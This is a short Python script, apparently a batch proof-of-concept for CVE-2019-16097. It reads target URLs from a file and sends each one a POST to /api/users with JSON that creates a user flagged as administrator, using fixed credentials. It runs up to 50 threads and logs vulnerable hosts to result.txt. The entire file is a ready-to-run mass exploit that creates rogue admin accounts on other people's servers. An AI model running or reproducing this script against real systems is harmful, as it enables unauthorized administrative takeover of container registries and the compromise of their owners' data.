#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:rocky
# datetime:2019-09-21 00:43
# software: PyCharm

import requests
import logging
import threading

__author__ = 'rocky'
__date__ = '2019/9/21'


def poc(url):
    bug_url = url + "/api/users"
    payload = '{"username":"test","email":"939555035@qq.com","realname":"test","password":"qq123123","comment":"1","has_admin_role":true}'
    header = {"Content-Type": "application/json", "Accept": "application/json"}
    try:
        r = requests.post(bug_url, data=payload, headers=header, timeout=10)
        print(bug_url)
        print(r.status_code)
        if r.status_code == 201:
            print("[!] This URL is Vulnerable !")
            print("[!] username: test   password: qq123123")

            f.write(
                url +
                "[!] This URL is Vulnerable ! [!] username: test   password: qq123123 "
                + "\n")
        else:
            print("[-] It's nothing.")

    except Exception as e:
        logging.warning(bug_url)
        print(e)


if __name__ == '__main__':
    print("CVE-2019-16097-batch")
    print("author: " + __author__)
    print("date: " + __date__)
    f = open("result.txt", "a")
    url_list = [i.replace("\n", "") for i in open("url.txt", "r").readlines()]
    for url in url_list:
        threading.Thread(target=poc, args=(url, )).start()
        while 1:
            if (len(threading.enumerate()) < 50):
                break